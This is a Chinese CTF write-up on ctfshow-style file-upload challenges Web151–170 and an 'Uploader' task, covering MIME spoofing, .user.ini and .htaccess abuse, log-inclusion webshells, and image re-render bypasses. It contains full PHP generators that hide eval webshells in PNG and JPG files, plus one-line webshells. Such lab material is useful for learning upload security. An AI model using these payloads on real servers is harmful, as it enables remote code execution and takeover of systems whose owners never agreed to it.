Web151(前端验证是无效的)
![image.png](https://cdn.nlark.com/yuque/0/2022/png/32634994/1663484213709-b8a7ffca-d13b-4e11-924f-1f1d011000df.png#averageHue=%23c4c8cb&clientId=u19715394-3d91-4&from=paste&height=188&id=ubc142434&name=image.png&originHeight=235&originWidth=1093&originalType=binary&ratio=1&rotation=0&showTitle=false&size=8351&status=done&style=none&taskId=u1c3ab35c-0136-4c7c-8f26-e8f558ab008&title=&width=874.4)
进入页面只让我们上传png格式的图片,我们只需要burpsuite抓包,然后用burpsuite发送绕过前端即可
![image.png](https://cdn.nlark.com/yuque/0/2022/png/32634994/1663484258519-84c63282-ce7e-4119-9bec-b18416863b5f.png#averageHue=%23f5f5f5&clientId=u19715394-3d91-4&from=paste&height=282&id=ua7ce2b13&name=image.png&originHeight=353&originWidth=976&originalType=binary&ratio=1&rotation=0&showTitle=false&size=49100&status=done&style=none&taskId=uc3b4108f-0130-4f53-9fac-ffaf2b47f22&title=&width=780.8)
最后蚁剑连接,读取flag:
![image.png](https://cdn.nlark.com/yuque/0/2022/png/32634994/1663484273859-04e4b96a-4294-4010-9567-5a19f62168c1.png#averageHue=%23f7f7f7&clientId=u19715394-3d91-4&from=paste&height=551&id=u3bb1d3f3&name=image.png&originHeight=689&originWidth=1055&originalType=binary&ratio=1&rotation=0&showTitle=false&size=61874&status=done&style=none&taskId=u7caeeb85-a147-4c4e-903e-e472ceb7500&title=&width=844)
Web152(服务端MIME类)
解法和上一题一样,先上传个png,然后抓包:
![image.png](https://cdn.nlark.com/yuque/0/2022/png/32634994/1663484585003-3451fc84-a04f-484a-a291-78d0dd7882b8.png#averageHue=%23f8f8f8&clientId=u19715394-3d91-4&from=paste&height=594&id=ub29a25c6&name=image.png&originHeight=742&originWidth=1287&originalType=binary&ratio=1&rotation=0&showTitle=false&size=89322&status=done&style=none&taskId=ud4d4c0cb-12ea-4e7f-b4eb-ef15df4a357&title=&width=1029.6)
把content-type改为png的格式即可
这里content-type的类型有:
- image/png
- image/gif
- jpg image/jpeg
最后蚁剑连接即可
Web153(.user.ini利用)
![image.png](https://cdn.nlark.com/yuque/0/2022/png/32634994/1663486931760-8e549c59-2f7f-42fe-ad16-bae0600bc15e.png#averageHue=%23d2d6d7&clientId=ubd34bbb3-4e73-4&from=paste&height=217&id=ue8947936&name=image.png&originHeight=271&originWidth=727&originalType=binary&ratio=1&rotation=0&showTitle=false&size=8202&status=done&style=none&taskId=ue49ceedf-1292-4aa7-af70-88eacd4a7d1&title=&width=581.6)
这题后端改后缀不行,文件头也不行
这一题要用.user.ini配置文件,和.htaccess类似
但是有区别,.user.ini在nginx或者Apache都可以用,而.htaccess只可以用在Apache里
用法也几乎相似:
上传png文件后抓包,再跟着上传一个.user.ini文件:
![image.png](https://cdn.nlark.com/yuque/0/2022/png/32634994/1663487021659-a258e77b-1198-4149-b3a9-10b20c9f685a.png#averageHue=%23f4f3f3&clientId=ubd34bbb3-4e73-4&from=paste&height=586&id=u77620faf&name=image.png&originHeight=733&originWidth=1296&originalType=binary&ratio=1&rotation=0&showTitle=false&size=92211&status=done&style=none&taskId=u659d0d73-2f57-4c11-8699-6ac551e55d4&title=&width=1036.8)
之后直接URL+/upload就可以自动解析该文件了,这个触发需要有php
文件,由于upload文件夹下有个index.php,所以可以使用
![image.png](https://cdn.nlark.com/yuque/0/2022/png/32634994/1663487117882-24747eec-1ba9-47a9-b0da-887eb44459ff.png#averageHue=%23f5f5f5&clientId=ubd34bbb3-4e73-4&from=paste&height=544&id=u418992d3&name=image.png&originHeight=680&originWidth=1039&originalType=binary&ratio=1&rotation=0&showTitle=false&size=50499&status=done&style=none&taskId=u76a3887d-a3bd-4ad0-b296-52aba779e63&title=&width=831.2)
这里也可以看看他文件上传的php源码:
![image.png](https://cdn.nlark.com/yuque/0/2022/png/32634994/1663487306100-4fb79e26-6708-4f01-87d0-b4bad59a526a.png#averageHue=%23f7f6f6&clientId=ubd34bbb3-4e73-4&from=paste&height=522&id=u2f0414d7&name=image.png&originHeight=652&originWidth=1037&originalType=binary&ratio=1&rotation=0&showTitle=false&size=116953&status=done&style=none&taskId=uc9245a8a-c4f6-44dd-bf01-68adaa9eace&title=&width=829.6)
可以看到是把php拉入了黑名单的,所以其他方法行不通,这里后缀名只要不等于php都可以上传,然后文件类型改MIME就可以了!
Web154(短标签+.user.ini)
抓个包:
![image.png](https://cdn.nlark.com/yuque/0/2022/png/32634994/1663499700949-b429887c-0139-4b93-9d9a-a23f1ab7acb1.png#averageHue=%23f8f8f8&clientId=u85c02443-869c-4&from=paste&height=592&id=uddd95210&name=image.png&originHeight=740&originWidth=1278&originalType=binary&ratio=1&rotation=0&showTitle=false&size=83990&status=done&style=none&taskId=uf575cbb2-be0c-41ea-84ba-79f0a50d6e4&title=&width=1022.4)
发现即使上传后缀名为png的也会失败,提示是说,文件内容出错,也就是说ban掉了什么关键字
经过测试发现是ban掉了php:
![image.png](https://cdn.nlark.com/yuque/0/2022/png/32634994/1663499750318-b2b41b07-4716-404a-8873-ece71c69b98a.png#averageHue=%23f8f8f8&clientId=u85c02443-869c-4&from=paste&height=600&id=uc83b3ec5&name=image.png&originHeight=750&originWidth=1295&originalType=binary&ratio=1&rotation=0&showTitle=false&size=87176&status=done&style=none&taskId=u1172238e-14f1-4a75-bfe0-4d102aef918&title=&width=1036)
可以看到只要去掉了个p就可以继续上传了,这里就要用到短标签了:
- ?>
前提是开启配置参数short_open_tags=on
- = ?>等价于 echo ?>
不需要开启参数设置
- <% echo 123;%>
前提是开启配置参数asp_tags=on,经过测试发现7.0及以上修改完之后也不能使用,而是报500错误,但是7.0以下版本在修改完配置后就可以使用了。
不需要修改参数开关,但是只能在7.0以下可用。
随便选一种改一下,然后再上传.user.ini,最后和web153就可以蚁剑连接进去了:
![image.png](https://cdn.nlark.com/yuque/0/2022/png/32634994/1663499989863-5c0067c1-ca24-41f9-8f4b-9a5dfcd8eefd.png#averageHue=%23f7f7f7&clientId=u85c02443-869c-4&from=paste&height=601&id=ue1bc6a2d&name=image.png&originHeight=751&originWidth=1280&originalType=binary&ratio=1&rotation=0&showTitle=false&size=96224&status=done&style=none&taskId=u54d93eb1-b5e9-4484-b7a7-ca40ec18d7e&title=&width=1024)
查看一下源码:
![image.png](https://cdn.nlark.com/yuque/0/2022/png/32634994/1663501205305-006e8cab-b918-4cf2-a8d4-aac0d1273a08.png#averageHue=%23f9f8f8&clientId=u85c02443-869c-4&from=paste&height=465&id=uce99eecd&name=image.png&originHeight=581&originWidth=1031&originalType=binary&ratio=1&rotation=0&showTitle=false&size=121152&status=done&style=none&taskId=u6286694d-045c-4ef1-8e56-da161723134&title=&width=824.8)
可以看到这边ban了php这个字符串
Web155(同上)
解法一致
Web156(同上)
多ban了我们的[符号
我们用中括号{}是等效的
![image.png](https://cdn.nlark.com/yuque/0/2022/png/32634994/1663501419247-886cf4e1-f526-4f26-a62e-9de48d4ece72.png#averageHue=%23fbfaf9&clientId=u85c02443-869c-4&from=paste&height=442&id=u6303e33f&name=image.png&originHeight=553&originWidth=1020&originalType=binary&ratio=1&rotation=0&showTitle=false&size=117513&status=done&style=none&taskId=uf9bcefc3-0c85-4f72-8473-016938de0f6&title=&width=816)
Web157(rce)
这里在上一题的基础上ban掉了{,[,;
所以这里用不了一句话木马,那就改变思路,直接RCE了
在png文件里写内容:
![image.png](https://cdn.nlark.com/yuque/0/2022/png/32634994/1663553824836-8a7092a0-89dc-4c9f-a962-ac468a967783.png#averageHue=%23f8f8f8&clientId=uda225766-308f-4&from=paste&height=571&id=ue613f0a1&name=image.png&originHeight=714&originWidth=1292&originalType=binary&ratio=1&rotation=0&showTitle=false&size=84434&status=done&style=none&taskId=u22ae2f12-b365-49c3-b282-813e701a3c6&title=&width=1033.6)
在写入.user.ini文件即可
Web158(同上)
解法一致
Web159(同上)
在上一题的基础上又ban掉了括号(
这样的话就用不了system和exec类的了
我们用echo
就好了
Web160(包含日志文件)
上一题的基础上ban了反引号`和log和空格
ban了log但是我们还是可以使用日志文件
我们在1.png里写下:include “/var/lo”.”g/nginx/access.lo”.”g”即可
用连接符和tab分别绕过
![image.png](https://cdn.nlark.com/yuque/0/2022/png/32634994/1663555648938-a85a68d6-a7f0-4634-9201-b5be4de7b0b5.png#averageHue=%23f7f7f7&clientId=u5269727a-5d6a-4&from=paste&height=344&id=u603dbbdc&name=image.png&originHeight=430&originWidth=1300&originalType=binary&ratio=1&rotation=0&showTitle=false&size=66733&status=done&style=none&taskId=u19d0f22d-bf16-4b26-8fe6-a09941fd75e&title=&width=1040)
然后再user-agent里写下一句话木马
用蚁剑连接即可
Web161(包含日志+文件头)
再次基础上加上了文件头验证
![image.png](https://cdn.nlark.com/yuque/0/2022/png/32634994/1663558037604-7752ce05-f577-4e16-baf0-f4250523af41.png#averageHue=%23f8f7f7&clientId=u5269727a-5d6a-4&from=paste&height=581&id=u4e1dd834&name=image.png&originHeight=726&originWidth=1297&originalType=binary&ratio=1&rotation=0&showTitle=false&size=91921&status=done&style=none&taskId=ueb941317-04fb-44c0-95ea-bb333542ac2&title=&width=1037.6)
然后在user-agnet随便调个马上传,蚁剑连接即可
![image.png](https://cdn.nlark.com/yuque/0/2022/png/32634994/1663558172917-34812a7c-32ae-4fce-a112-c19427383a00.png#averageHue=%23faf9f9&clientId=u5269727a-5d6a-4&from=paste&height=502&id=u86efff21&name=image.png&originHeight=627&originWidth=1015&originalType=binary&ratio=1&rotation=0&showTitle=false&size=130898&status=done&style=none&taskId=u0806da32-1ee8-4eaf-9aa0-7619466cde3&title=&width=812)
可以看到getimagesize函数
Web162(远程文件包含或者条件竞争)
无法做出题解,网站有问题
参考https://blog.csdn.net/weixin_46081055/article/details/123506816
Web163(条件竞争)
无法做出题解,网站有问题
参考https://blog.csdn.net/weixin_46081055/article/details/123506816
Web164(PNG图片二次渲染)
那那那那那啥,这一题刚开始有点懵逼,理回来了,因为涉及了盲区
好,入题:
这一题是什么情况呢,你会发现你传的假png图片不行了,你加文件头也没用:
![image.png](https://cdn.nlark.com/yuque/0/2022/png/32634994/1663570630741-844fb0db-ea60-4027-9c65-893175a24c50.png#averageHue=%23f7f7f7&clientId=u444fc0f9-fe6f-4&from=paste&height=612&id=u787ce2b2&name=image.png&originHeight=765&originWidth=1276&originalType=binary&ratio=1&rotation=0&showTitle=false&size=85714&status=done&style=none&taskId=u6478c108-18ee-42cd-a22f-b254ce94efb&title=&width=1020.8)
那这就困扰了,那是不是没办法了呢?
上传一张图片木马看看:
![image.png](https://cdn.nlark.com/yuque/0/2022/png/32634994/1663570783427-4efc3cba-8d4e-48a0-bb3b-77af0b672a38.png#averageHue=%2332b87a&clientId=u444fc0f9-fe6f-4&from=paste&height=353&id=ucb28e3ac&name=image.png&originHeight=441&originWidth=1215&originalType=binary&ratio=1&rotation=0&showTitle=false&size=152731&status=done&style=none&taskId=ud5efbccf-2517-4abd-a8aa-34a7c0cf24d&title=&width=972)
进入了如下的页面,然后下载这张图片看看源码:
![image.png](https://cdn.nlark.com/yuque/0/2022/png/32634994/1663570889454-4fab9312-e26f-4c67-beaa-a614311fb733.png#averageHue=%233a3730&clientId=u444fc0f9-fe6f-4&from=paste&height=451&id=u7ff92d35&name=image.png&originHeight=564&originWidth=684&originalType=binary&ratio=1&rotation=0&showTitle=false&size=126894&status=done&style=none&taskId=u67a01469-cb83-41fd-bc36-94a3690f303&title=&width=547.2)
本应在尾部的一句话木马给刷掉了,说明这里存在二次渲染,国外大佬给的脚本生成一个图片马,可以防止被刷掉:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| <?php $p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23, 0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae, 0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc, 0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f, 0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c, 0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d, 0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1, 0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) { $r = $p[$y]; $g = $p[$y+1]; $b = $p[$y+2]; $color = imagecolorallocate($img, $r, $g, $b); imagesetpixel($img, round($y / 3), 0, $color); }
imagepng($img,'./1.png'); ?>
|
查看这个图片源码:
![image.png](https://cdn.nlark.com/yuque/0/2022/png/32634994/1663571136294-7b6ab170-37d4-48ff-b556-e72ff11daabd.png#averageHue=%233a3730&clientId=u444fc0f9-fe6f-4&from=paste&height=223&id=u6fa38c96&name=image.png&originHeight=279&originWidth=692&originalType=binary&ratio=1&rotation=0&showTitle=false&size=53619&status=done&style=none&taskId=u626fbf43-41b2-4969-a311-b205a1aede0&title=&width=553.6)
可以看到中间夹了个木马,这样就可以在网站二次渲染这图片的时候运行代码,进入上传目录:
![image.png](https://cdn.nlark.com/yuque/0/2022/png/32634994/1663571196921-4a909673-eafa-4a1e-a517-be635175c60f.png#averageHue=%23f9f9f9&clientId=u444fc0f9-fe6f-4&from=paste&height=212&id=u2228729d&name=image.png&originHeight=265&originWidth=1360&originalType=binary&ratio=1&rotation=0&showTitle=false&size=25854&status=done&style=none&taskId=ua2e69e08-4d82-48c2-99d0-924695869c8&title=&width=1088)
然后抓个包:
![image.png](https://cdn.nlark.com/yuque/0/2022/png/32634994/1663571250371-cdc79876-9eda-45b6-8b30-f891e7a551b1.png#averageHue=%23f7f7f7&clientId=u444fc0f9-fe6f-4&from=paste&height=304&id=ua6202829&name=image.png&originHeight=380&originWidth=1282&originalType=binary&ratio=1&rotation=0&showTitle=false&size=52379&status=done&style=none&taskId=ue78e4634-6deb-4579-92e0-cbe870826b9&title=&width=1025.6)
可以看到命令成功执行,接下来一步步读取答案即可!
出于好奇把源码考下来了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| error_reporting(0); if ($_FILES["file"]["error"] > 0) { $ret = array("code"=>2,"msg"=>$_FILES["file"]["error"]); } else { $filename = $_FILES["file"]["name"]; $filesize = ($_FILES["file"]["size"] / 1024); if($filesize>1024){ $ret = array("code"=>1,"msg"=>"文件超过1024KB"); }else{ if($_FILES['file']['type'] == 'image/png'){ $arr = pathinfo($filename); $ext_suffix = $arr['extension']; if(in_array($ext_suffix, array("png"))){ $png = imagecreatefrompng($_FILES["file"]["tmp_name"]); if($png==FALSE){ $ret = array("code"=>2,"msg"=>"文件类型不合规"); }else{ $dst = 'upload/'.md5($_FILES["file"]["name"]).".png"; imagepng($png,$dst); $ret = array("code"=>0,"msg"=>md5($_FILES["file"]["name"]).".png"); } }else{ $ret = array("code"=>3,"msg"=>"只允许上传png格式图片"); } }else{ $ret = array("code"=>2,"msg"=>"文件类型不合规"); } }
}
echo json_encode($ret);
|
在里面可以看到imagecreatefrompng
函数,该函数可以由一个文件创造新的png图片
成功后返回图象对象,失败后返回 false。
imagepng
函数可以 以 PNG 格式将图像输出到浏览器或文件,也就是把图片解析出来
这就是PNG图片二次渲染的步骤
Web165(JPG图片二次渲染)
题目逐渐走样,这次上传png正常图片无效
上传jpg正常图片有效,抓个包后发现:
![image.png](https://cdn.nlark.com/yuque/0/2022/png/32634994/1663573515054-e356aa13-faa0-4607-840a-233a4c40d596.png#averageHue=%23f7f7f7&clientId=u444fc0f9-fe6f-4&from=paste&height=433&id=u5bc8030a&name=image.png&originHeight=541&originWidth=1293&originalType=binary&ratio=1&rotation=0&showTitle=false&size=100942&status=done&style=none&taskId=u115f8785-3ca9-4fff-8fe3-c697da0c2bd&title=&width=1034.4)
可以看到有个ATOR: gd-jpeg v1.0 (using IJG JPEG v80), default quality
这是JPG二次渲染的痕迹,说明这一题是JPG二次渲染
面对这样的基霸题,还是用大佬的脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147
| <?php $miniPayload = "<?=eval(\$_POST[7]);?>";
if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) { die('php-gd is not installed'); }
if(!isset($argv[1])) { die('php jpg_payload.php <jpg_name.jpg>'); }
set_error_handler("custom_error_handler");
for($pad = 0; $pad < 1024; $pad++) { $nullbytePayloadSize = $pad; $dis = new DataInputStream($argv[1]); $outStream = file_get_contents($argv[1]); $extraBytes = 0; $correctImage = TRUE;
if($dis->readShort() != 0xFFD8) { die('Incorrect SOI marker'); }
while((!$dis->eof()) && ($dis->readByte() == 0xFF)) { $marker = $dis->readByte(); $size = $dis->readShort() - 2; $dis->skip($size); if($marker === 0xDA) { $startPos = $dis->seek(); $outStreamTmp = substr($outStream, 0, $startPos) . $miniPayload . str_repeat("\0",$nullbytePayloadSize) . substr($outStream, $startPos); checkImage('_'.$argv[1], $outStreamTmp, TRUE); if($extraBytes !== 0) { while((!$dis->eof())) { if($dis->readByte() === 0xFF) { if($dis->readByte !== 0x00) { break; } } } $stopPos = $dis->seek() - 2; $imageStreamSize = $stopPos - $startPos; $outStream = substr($outStream, 0, $startPos) . $miniPayload . substr( str_repeat("\0",$nullbytePayloadSize). substr($outStream, $startPos, $imageStreamSize), 0, $nullbytePayloadSize+$imageStreamSize-$extraBytes) . substr($outStream, $stopPos); } elseif($correctImage) { $outStream = $outStreamTmp; } else { break; } if(checkImage('payload_'.$argv[1], $outStream)) { die('Success!'); } else { break; } } } } unlink('payload_'.$argv[1]); die('Something\'s wrong');
function checkImage($filename, $data, $unlink = FALSE) { global $correctImage; file_put_contents($filename, $data); $correctImage = TRUE; imagecreatefromjpeg($filename); if($unlink) unlink($filename); return $correctImage; }
function custom_error_handler($errno, $errstr, $errfile, $errline) { global $extraBytes, $correctImage; $correctImage = FALSE; if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) { if(isset($m[1])) { $extraBytes = (int)$m[1]; } } }
class DataInputStream { private $binData; private $order; private $size;
public function __construct($filename, $order = false, $fromString = false) { $this->binData = ''; $this->order = $order; if(!$fromString) { if(!file_exists($filename) || !is_file($filename)) die('File not exists ['.$filename.']'); $this->binData = file_get_contents($filename); } else { $this->binData = $filename; } $this->size = strlen($this->binData); }
public function seek() { return ($this->size - strlen($this->binData)); }
public function skip($skip) { $this->binData = substr($this->binData, $skip); }
public function readByte() { if($this->eof()) { die('End Of File'); } $byte = substr($this->binData, 0, 1); $this->binData = substr($this->binData, 1); return ord($byte); }
public function readShort() { if(strlen($this->binData) < 2) { die('End Of File'); } $short = substr($this->binData, 0, 2); $this->binData = substr($this->binData, 2); if($this->order) { $short = (ord($short[1]) << 8) + ord($short[0]); } else { $short = (ord($short[0]) << 8) + ord($short[1]); } return $short; }
public function eof() { return !$this->binData||(strlen($this->binData) === 0); } } ?>
|
用这个脚本去渲染你的JPG图片
注意:这里我们要渲染的JPG文件,首先应该上传至网站,然后再网站的上传路径,再次下载,这样做的目的是使得我们用脚本渲染时,改动的地方尽量缩小,使得我们的木马可以更大可能的保留
之后直接php 脚本.php 你的图片
,最后会生成一个payload_你的图片,我们上传脚本跑出来的图片,抓包:
![image.png](https://cdn.nlark.com/yuque/0/2022/png/32634994/1663573744842-82607518-5b1c-4119-b652-5a818a1be45e.png#averageHue=%23f5f5f5&clientId=u444fc0f9-fe6f-4&from=paste&height=589&id=u1e19bbee&name=image.png&originHeight=736&originWidth=1282&originalType=binary&ratio=1&rotation=0&showTitle=false&size=124442&status=done&style=none&taskId=u9d5126c3-6f9f-453e-95bf-92dfdccea56&title=&width=1025.6)
得到了回显,接下来蚁剑直连即可:
![image.png](https://cdn.nlark.com/yuque/0/2022/png/32634994/1663573766995-73bb87c2-7368-4201-b3a7-d7d06848328f.png#averageHue=%23f9f9f9&clientId=u444fc0f9-fe6f-4&from=paste&height=567&id=u81d9239d&name=image.png&originHeight=709&originWidth=990&originalType=binary&ratio=1&rotation=0&showTitle=false&size=58295&status=done&style=none&taskId=uc653fdac-350a-4b74-9bf2-ee57e085555&title=&width=792)
Web166(ZIP)
发现无法上传图片文件,点开网页源码查看:
![image.png](https://cdn.nlark.com/yuque/0/2022/png/32634994/1663646798937-9d80f895-7fe3-49f7-b3a1-c025c48146b3.png#averageHue=%23fcfcfb&clientId=u848a604f-2849-4&from=paste&height=62&id=u365b5880&name=image.png&originHeight=78&originWidth=951&originalType=binary&ratio=1&rotation=0&showTitle=false&size=4563&status=done&style=none&taskId=u38980286-2b45-41aa-a4fd-ebd28d61b8b&title=&width=760.8)
要上传压缩包,上传之后会进入下载页面:
![image.png](https://cdn.nlark.com/yuque/0/2022/png/32634994/1663646840792-ee184ba6-65e5-4c5c-aef0-b458a716b655.png#averageHue=%23d8b078&clientId=u848a604f-2849-4&from=paste&height=201&id=ubecea83b&name=image.png&originHeight=251&originWidth=1909&originalType=binary&ratio=1&rotation=0&showTitle=false&size=81883&status=done&style=none&taskId=u891a3dcb-10c4-4fb4-8592-085bb2fd1de&title=&width=1527.2)
这应该是被文件包含了,我们直接在压缩包文件尾部写上一句话木马,然后用蚁剑上号
Web167(.htaccess利用)
进入页面查看源码后会发现只让上传JPG文件,正常上传一个后:
![image.png](https://cdn.nlark.com/yuque/0/2022/png/32634994/1663648833301-86b0db2a-98cd-4876-9ab2-02654c54f1a5.png#averageHue=%233d3f3e&clientId=u8f8758d4-f352-4&from=paste&height=798&id=uacc0bfff&name=image.png&originHeight=998&originWidth=1860&originalType=binary&ratio=1&rotation=0&showTitle=false&size=1096426&status=done&style=none&taskId=u31d11761-846b-420a-b113-32ba4e40030&title=&width=1488)
会显示出来,这里为了看看是不是二次渲染,我这张图片加了一句话木马,然后把他下载下来,发现一句话木马仍然在,说明没有二次渲染
这道题只是没有解析我们的jpg图片,得想办法解析这个文件,BURPSUITE先抓个包:
![image.png](https://cdn.nlark.com/yuque/0/2022/png/32634994/1663648926165-356a9db3-9f9b-479d-8ae3-46bcf0117674.png#averageHue=%23f8f7f7&clientId=u4b960a18-236e-4&from=paste&height=486&id=u839a05d7&name=image.png&originHeight=608&originWidth=1319&originalType=binary&ratio=1&rotation=0&showTitle=false&size=96678&status=done&style=none&taskId=u845b21c8-73c0-4dce-8d21-a233568b5c1&title=&width=1055.2)
上传.htaccess文件发现可行,之后再次访问该图片:
![image.png](https://cdn.nlark.com/yuque/0/2022/png/32634994/1663648950431-dde9e1f1-fffc-4571-b2ea-11afc4cb1e1e.png#averageHue=%23dcd7d2&clientId=u4b960a18-236e-4&from=paste&height=560&id=u0974ff7a&name=image.png&originHeight=700&originWidth=1920&originalType=binary&ratio=1&rotation=0&showTitle=false&size=205348&status=done&style=none&taskId=u1bb45136-d859-47ab-b393-553c9d2e245&title=&width=1536)
已经给解析了,蚁剑上号
Web168(基础免杀)
进入网页提示上传png格式文件,上传一个图片马上去,发现里面有些内容被ban了无法正常上传
发现居然可以上传php文件,那我们不就直接构造1.php文件
经过测试发现是ban了eval,system等一系列函数
我们首先使用var_dump(scandir(‘.’))去查看当前目录的文件:
![image.png](https://cdn.nlark.com/yuque/0/2022/png/32634994/1663655502666-5ab687f2-5b6d-41ce-b2f3-25a8959027f0.png#averageHue=%23f5f5f5&clientId=u1fa190f6-c7e8-4&from=paste&height=172&id=ua61c86bd&name=image.png&originHeight=215&originWidth=312&originalType=binary&ratio=1&rotation=0&showTitle=false&size=4567&status=done&style=none&taskId=u1a48bc6d-76c4-4ebb-aeec-a9931474b9f&title=&width=249.6)
发现什么也没有,查看../发现有flag和flagaa文件,盲猜flagaa是真的。
include被ban了,用show_source(‘../flagaa.php’)去读取flag文件:
![image.png](https://cdn.nlark.com/yuque/0/2022/png/32634994/1663655556342-61678bb1-754b-4b74-8b7c-b4efa07b3e56.png#averageHue=%23fdfaf9&clientId=u1fa190f6-c7e8-4&from=paste&height=345&id=ubb795d1f&name=image.png&originHeight=431&originWidth=724&originalType=binary&ratio=1&rotation=0&showTitle=false&size=11800&status=done&style=none&taskId=ud1cd565a-536e-418c-8ca5-c197837c595&title=&width=579.2)
payload2:
使用<?php $_REQUEST[0]($_REQUEST[1]);?>
写进1.php之后访问
Web169(包含日志)
前端提示上传zip文件,可以上传一个正常zip文件,或者改一下前端代码,之后burpsuite抓包,发现验证的是MIME类型的PNG,对后缀名没什么要求,上传.user.ini:
![image.png](https://cdn.nlark.com/yuque/0/2022/png/32634994/1663656519725-985febff-6b66-4d0e-93a7-6d3baf2d16af.png#averageHue=%23f8f8f8&clientId=u1fa190f6-c7e8-4&from=paste&height=367&id=u8f702aa3&name=image.png&originHeight=459&originWidth=1180&originalType=binary&ratio=1&rotation=0&showTitle=false&size=75930&status=done&style=none&taskId=ue150d92c-9855-433c-86c1-b1d6ff5bc6a&title=&width=944)
因为触发user.ini需要访问php文件,再上传一个1.php,内容随便写什么,空的都可以
之后访问url+/upload/1.php后就会发现我们的日志文件被包含了
在user-agent里写入一句话木马,蚁剑上号:
![image.png](https://cdn.nlark.com/yuque/0/2022/png/32634994/1663656579030-c2b03f8f-9e74-48a0-ba64-5486ebf32155.png#averageHue=%23fcfbfa&clientId=u1fa190f6-c7e8-4&from=paste&height=563&id=ue1302e3b&name=image.png&originHeight=704&originWidth=1245&originalType=binary&ratio=1&rotation=0&showTitle=false&size=85217&status=done&style=none&taskId=ub666e731-3924-43b6-95ec-f2e4fc761c6&title=&width=996)
窥探一眼源代码
Web170(同上)
结束
Uploader(Hnusec)
正如其名,鉴定为文件上传类型的
进入页面先要让我们登入一个账号,随便登入一个进去:
到达了文件上传界面,这里我上传了个假的png图片,但是被识别掉了,说明这个识别的是文件头
所以我上传了一个一句话木马带png文件头的php文件:
上传成功,点进源代码查看:
发现后缀名又被改成了png!这里也尝试了双写绕过,发现代码是将整个后缀名直接变成png
也尝试了burp改包,但是发送过去后不会有回显,黔驴技穷的时候看到了个东西:
好家伙躲这里呢,这是一个提示文件,直接URL/hint.zip下载查看:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| <?php if ($_FILES['file']['size'] > 200000) { error('Uploaded file is too large.'); } // check file type $finfo = finfo_open(FILEINFO_MIME_TYPE); $type = finfo_file($finfo, $_FILES['file']['tmp_name']); finfo_close($finfo); if (!in_array($type, ['image/png'])) { error('Uploaded file is not PNG format.'); } // check file width/height $size = getimagesize($_FILES['file']['tmp_name']); if ($size[0] > 250 || $size[1] > 250) { error('Uploaded image is too large.'); } if ($size[2] !== IMAGETYPE_PNG) { error('What happened...? OK, the flag is: <code>' . getenv('FLAG1') . '</code>'); }
|
这是文件内容,这里有很多陌生的函数不过问题不大
- in_array:查看字符串中是否包括某字符
- finfio_open:打开文件
- finfo_file():返回一个文件的信息(finfo_open函数主要是检查十六进制的第一行信息)
- Getimagesize():是PHP提供的方法,用以判断目标文件是否为图片。其返回结果中有文件大小和文件类型(通过读取文件的前八位的十六进制)。
在检查文件类型时,finfo_file()函数检测上传图片的类型是否是image/png在检查文件长宽时,getimagesize() 函数用于获取图像大小及相关信息,成功将返回个数组
也就是说要finfo_file()识别为png,而getimagesize()不识别为png我们打开010editor构造一个16进制文件:
![image.png](https://cdn.nlark.com/yuque/0/2022/png/32634994/1669088221261-113f5c8b-22e5-481d-840b-de4a35bed550.png#averageHue=%23403e38&clientId=uad47d4c1-c255-4&from=paste&height=186&id=ua47f2dac&name=image.png&originHeight=232&originWidth=633&originalType=binary&ratio=1&rotation=0&showTitle=false&size=70111&status=done&style=none&taskId=u99fa6eba-bce0-42d1-b4d8-582f336c3c4&title=&width=506.4)
将普通png图片的第一行(文件头)放入新建的文件中:
我们第二行不放任何信息,来让getimagesize()出错返回false,从而逃过了getimagesize函数!!
之后将文件保存为png格式,上传:
答案直接就蹦出来了!
![image.png](https://cdn.nlark.com/yuque/0/2022/png/32634994/1669088245538-1602dd55-d107-4668-89c0-d663854b7632.png#averageHue=%23baada0&clientId=uad47d4c1-c255-4&from=paste&height=159&id=ua01e0793&name=image.png&originHeight=199&originWidth=475&originalType=binary&ratio=1&rotation=0&showTitle=false&size=17688&status=done&style=none&taskId=u465a0476-eed0-40ee-be92-a63c5a3ce25&title=&width=380)